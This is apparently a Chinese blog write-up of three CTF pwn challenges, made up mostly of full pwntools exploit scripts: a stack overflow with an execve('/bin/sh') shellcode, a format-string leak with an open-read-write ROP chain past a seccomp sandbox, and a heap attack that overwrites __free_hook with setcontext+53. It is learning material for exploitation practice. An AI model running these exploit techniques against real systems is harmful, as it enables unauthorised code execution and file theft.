赞
踩
先查看保护,栈可执行,想到shellcode
这题需要注意shellcode的写法
拖入ida中分析
一直以为iso scanf不能栈溢出,后来发现我是shabi
先进入sub_4007F9()函数
有个read函数,恰好读完s数组,由于printf是碰到\x00截断,所以如果我们输满0x20个padding就可以读取一个栈地址
我们可以把shellcode写入scanf输入的地址中,通过创建fake ret地址进行rip迁移,而这个栈中存有我们写入的shellcode
我们先调试出scanf的输入地址,然后计算它与leak出来的stack地址的偏移
那么算完了我们开始构建payload(shellcode)
shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
前半部分的可见字符的27字节的shellcode是在shellcode storm中找到的,是我见过最短的execve("/bin/sh")了
这里先填充8字节的padding(rbp),再写入fake rip,覆盖返回地址
或者换用flat写法
shellcode = flat({0:shellcode1, 0x58: stack - 0x50})
exp如下:
from pwn import * import sys from LibcSearcher import * context.log_level='debug' context.arch='amd64' def ret2libc(leak,func,path=''): if path == '': libc = LibcSearcher(func,leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = path libc.address = leak - libc.sym[func] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh')) return (system,binsh) s = lambda data : io.send(data) sa = lambda str1,data : io.sendafter(str1,data) sl = lambda data : io.sendline(data) sla = lambda str1,data : io.sendlineafter(str1,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True : io.recvuntil(data,drop) ia = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) dbg = lambda : gdb.attach(io) if len(sys.argv) == 3: io = remote(sys.argv[1], sys.argv[2]) elif len(sys.argv) == 2: if ':' in sys.argv[1]: rmt = sys.argv[1].split(':') io = remote(rmt[0], rmt[1]) else: io = process(sys.argv[1]) elf = ELF(sys.argv[1]) else: io = process('./bypwn') elf = ELF("./bypwn") sa(":",b"b"*(0x20-1)+b"a") ru("a") stack = uu64(r(6)) leak("stack",stack) # dbg() shellcode1 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(0x50,b"b") shellcode = shellcode1 shellcode += b"bi0xbi0x"+p64(stack-0x50) sla("~",shellcode) # sla("~",flat({0:shellcode1, 0x58: stack - 0x50})) ia()
(感谢pwn神师傅niyah的wp和指点!)
这题就是开了沙箱,execve给ban了,不然就是最简单的ret2libc
既然execv给ban了,那么就用orw
比较坑的就是给的libc版本错误,自己用libcsearcher搜出来是下图版本
思路就是用fmt泄露canary和一个栈地址,还有__libc_start_main+240的地址用来泄露libc_base
然后用rop链写一个orw,函数里有puts就不用麻烦的写一个write了
exp来自pwn神师傅的wp
from pwn import * import sys from LibcSearcher import * context.log_level='debug' context.arch='amd64' def ret2libc(leak,func,path=''): if path == '': libc = LibcSearcher(func,leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = path libc.address = leak - libc.sym[func] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh')) return (system,binsh) s = lambda data : io.send(data) sa = lambda str1,data : io.sendafter(str1,data) sl = lambda data : io.sendline(data) sla = lambda str1,data : io.sendlineafter(str1,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True : io.recvuntil(data,drop) ia = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) dbg = lambda : gdb.attach(io) if len(sys.argv) == 3: io = remote(sys.argv[1], sys.argv[2]) elif len(sys.argv) == 2: if ':' in sys.argv[1]: rmt = sys.argv[1].split(':') io = remote(rmt[0], rmt[1]) else: io = process(sys.argv[1]) elf = ELF(sys.argv[1]) else: io = process('./pwn') elf = ELF("./pwn") offset = 6 sa("?","%27$p,%28$p,%39$p") ru("0x") canary = i16(ru("00",False)) leak("canary",canary) ru("0x") stack = i16(r(12)) leak("stack",stack) ru("0x") libc_start_main = i16(r(12)) - 240 leak("libc_start_main",libc_start_main) # libc = LibcSearcher("read",read_addr) libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc.address = libc_start_main - libc.sym["__libc_start_main"] open_addr = libc.sym["open"] puts_addr = libc.sym["puts"] read_addr = libc.sym["read"] # base = read_addr - libc.dump("read") # open_addr = base + libc.dump("open") # puts_addr = base + libc.dump("puts") # read_addr = base + libc.dump("read") # dbg() syscall = next(libc.search(asm("syscall"))) pop_rdi = next(libc.search(asm("pop rdi; ret"))) pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rax_ret = next(libc.search(asm("pop rax; ret"))) pop_rdx_ret = next(libc.search(asm("pop rdx; ret"))) pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) flag_addr = stack + 0xb8 orw = flat([ pop_rdi, flag_addr, pop_rsi, 0, open_addr, pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr, pop_rdi, flag_addr, puts_addr ]).ljust(0x100,b"B") + b"flag\x00" # dbg() payload = b"b"*(0x70-0x8) + p64(canary) + b"bi0xbi0x" + orw sla("?",payload) ia()
简单说一下为什么flag_addr = stack + 0xb8,因为我们后面输入的位置+0x70+0x8+0x100和stack + 0xb8的位置相等,这样我们就可以读取到输入的flag这个地址了
也就是flag_addr = stack + 0xb8这个位置就是我们orw里写的b"flag\x00"的位置,这个是动调出来的
自己在本地写了一个臭flag
今天破事一堆,先复现了一个exp,是没学过的覆盖free_hook为setcontext+53,从而进行rop的操作,学到了学到了~
因为开了沙箱,无法执行system和execve,所以常规的free_hook和malloc_hook写入one_gadget是没法用的,用了船新的没见过的setcontext,这几天有时间再去研究细唆!
setcontext的汇编如下,可以看到能对很多寄存器赋值
exp来自DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp
也是一个超级厉害的师傅!
from pwn import * import sys from LibcSearcher import * context.log_level='debug' context.arch='amd64' def ret2libc(leak,func,path=''): if path == '': libc = LibcSearcher(func,leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = path libc.address = leak - libc.sym[func] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh')) return (system,binsh) s = lambda data : io.send(data) sa = lambda str1,data : io.sendafter(str1,data) sl = lambda data : io.sendline(data) sla = lambda str1,data : io.sendlineafter(str1,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True : io.recvuntil(data,drop) ia = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) dbg = lambda : gdb.attach(io) if len(sys.argv) == 3: io = remote(sys.argv[1], sys.argv[2]) elif len(sys.argv) == 2: if ':' in sys.argv[1]: rmt = sys.argv[1].split(':') io = remote(rmt[0], rmt[1]) else: io = process(sys.argv[1]) elf = ELF(sys.argv[1]) else: io = process('./datasystem') elf = ELF("./datasystem") libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") def getpwd(): for c in range(0x100): c = c.to_bytes(1, 'big') p = process('./datasystem') p.sendafter("please input username: ", "admin\x00") p.sendafter("please input password: ", c*32) msg = p.recvline() if b"Fail" not in msg: print('='*60) print("a valid char:", c) print('='*60) p.close() return c*32 p.close() def login(): pwd = getpwd() sla("username","admin\x00") sla("password",pwd) def add(size,content="a"): sla(">>","1") sla("Size",str(size)) sla("Content",content) def free(index): sla(">>","2") sla("Index",str(index)) def show(index): sla(">>","3") sla("Index",str(index)) def edit(index,content): sla(">>","4") sla("Index",str(index)) sa("Content",content) login() add(0x420) # 0 unsorted bin add(0x10) # 1 free(0) # get unsorted bin add(0x8) # 0 edit(0,"b"*7+"x") show(0) # leak libc_base ru("x") libc_base = uu64(ru("\x7f",False))-0x3ec090 leak("libc_base",libc_base) libc.address = libc_base read_addr = libc.sym['read'] open_addr = libc.sym['open'] puts_addr = libc.sym['puts'] free_hook = libc.sym["__free_hook"] setcontext = libc.sym['setcontext'] + 53 ret = next(libc.search(asm('ret'))) syscall = next(libc.search(asm("syscall"))) pop_rdi = next(libc.search(asm("pop rdi; ret"))) pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rax_ret = next(libc.search(asm("pop rax; ret"))) pop_rdx_ret = next(libc.search(asm("pop rdx; ret"))) pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) add(0x20) # 2 free(2) free(0) payload = b"bi0xbi0x"*2 + p64(0) + p64(0x311) + p64(free_hook-0x200) add(0x10,payload) # 0 # dbg() add(0x20) # 2 payload = flat({ 0x200: setcontext, 0x100: 0x23330000, 0xa0: free_hook - 0x100, 0x68: 0, 0x70: 0x23330000, 0x88: 0x200, 0xa8: read_addr }, filler="\x00") add(0x20,payload) # 3 free(3) time.sleep(0.5) sl(asm(shellcraft.cat("flag"))) ia()
9.30更新:
又复现了pwn神师傅的exp:
from pwn import * import sys from LibcSearcher import * # context.log_level='debug' context.arch='amd64' def ret2libc(leak,func,path=''): if path == '': libc = LibcSearcher(func,leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = path libc.address = leak - libc.sym[func] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh')) return (system,binsh) s = lambda data : io.send(data) sa = lambda str1,data : io.sendafter(str1,data) sl = lambda data : io.sendline(data) sla = lambda str1,data : io.sendlineafter(str1,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True : io.recvuntil(data,drop) ia = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) dbg = lambda : gdb.attach(io) if len(sys.argv) == 3: io = remote(sys.argv[1], sys.argv[2]) elif len(sys.argv) == 2: if ':' in sys.argv[1]: rmt = sys.argv[1].split(':') io = remote(rmt[0], rmt[1]) else: io = process(sys.argv[1]) elf = ELF(sys.argv[1]) else: io = process('./datasystem') elf = ELF("./datasystem") libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") def getpwd(): for c in range(0x100): c = c.to_bytes(1, 'big') p = process('./datasystem') p.sendafter("please input username: ", "admin\x00") p.sendafter("please input password: ", c*32) msg = p.recvline() if b"Fail" not in msg: print('='*60) print("a valid char:", c) print('='*60) p.close() return c*32 p.close() def login(): pwd = getpwd() sla("username","admin\x00") sla("password",pwd) def add(size,content="a"): sla(">>","1") sla("Size",str(size)) sla("Content",content) def free(index): sla(">>","2") sla("Index",str(index)) def show(index): sla(">>","3") sla("Index",str(index)) def edit(index,content): sla(">>","4") sla("Index",str(index)) sa("Content",content) login() add(0x420) # 0 unsorted bin add(0x10) # 1 free(0) # get unsorted bin add(0x8) # 0 edit(0,"b"*7+"x") show(0) # leak libc_base ru("x") libc_base = uu64(ru("\x7f",False))-0x3ec090 leak("libc_base",libc_base) libc.address = libc_base read_addr = libc.sym['read'] open_addr = libc.sym['open'] puts_addr = libc.sym['puts'] free_hook = libc.sym["__free_hook"] setcontext = libc.sym['setcontext'] + 53 ret = next(libc.search(asm('ret'))) syscall = next(libc.search(asm("syscall"))) pop_rdi = next(libc.search(asm("pop rdi; ret"))) pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rax_ret = next(libc.search(asm("pop rax; ret"))) pop_rdx_ret = next(libc.search(asm("pop rdx; ret"))) pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) add(0x20) # 2 free(2) free(0) payload = b"bi0xbi0x"*2 + p64(0) + p64(0x301) + p64(free_hook) add(0x10,payload) # 0 # dbg() add(0x20) # dbg() flag_addr = free_hook + 0x150 # orw orw = flat( pop_rdi , flag_addr , pop_rsi , 0 , open_addr, pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx__rbx_ret , 0x100 , 0 , read_addr, pop_rdi , flag_addr , puts_addr ) # print(hex(len(orw))) # free_hook改为setcontext+53,然后将setcontex+0xa0的位置改为orw的位置,将+0xa8的位置改为ret的地址 payload = p64(setcontext) + orw + p64(0)*3 + p64(free_hook+8) + p64(ret) # print(hex(len(payload))) add(0x20,payload.ljust(0x150,b"\x00") + b"flag\x00") # dbg() free(3) ia()
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。